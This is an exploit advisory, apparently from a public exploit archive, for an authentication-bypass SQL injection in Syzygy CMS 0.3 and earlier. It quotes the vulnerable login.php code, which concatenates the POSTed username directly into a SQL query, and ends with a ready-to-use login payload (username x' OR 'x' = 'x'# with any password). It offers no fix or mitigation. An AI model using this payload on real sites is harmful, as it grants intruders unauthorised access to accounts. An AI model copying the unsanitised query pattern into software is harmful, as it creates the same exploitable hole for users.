--+++=========================================================================+++--
--+++====== Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability ======+++--
--+++=========================================================================+++--

[+] Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability
[+] Author : darkjoker
[+] Site   : http://darkjoker.net23.net
[+] Greetz : my girlfriend, Vivi
[+] File   : login.php

[+] Code:
    17  $username=$_POST['username'];
    18  $password=md5($_POST['password']);
    19  $current_login=mysql_query("SELECT * FROM ".$mysql_prefix."users WHERE username='".$username."' AND password='".$password."'");
    20
    21  if (mysql_num_rows($current_login)==0)
    22  {
    23          header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/"."index.php?page=invalid.php");
    24  } else {
    25    $current_user=mysql_fetch_array($current_login, MYSQL_ASSOC);
    26    $_SESSION['user']=$current_user['username'];
    27    $_SESSION['perms']=$current_user['perms'];
    28     $style_query=mysql_query("SELECT filename FROM ".$mysql_prefix."layout_style WHERE id='".$current_user['style']."'");
    29    $style_info=mysql_fetch_array($style_query,MYSQL_ASSOC);
    30     $_SESSION['style']=$style_info['filename'];
    31    header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/"."index.php");
    32  }

[+] Username: x' OR 'x' = 'x'#
[+] Password: anything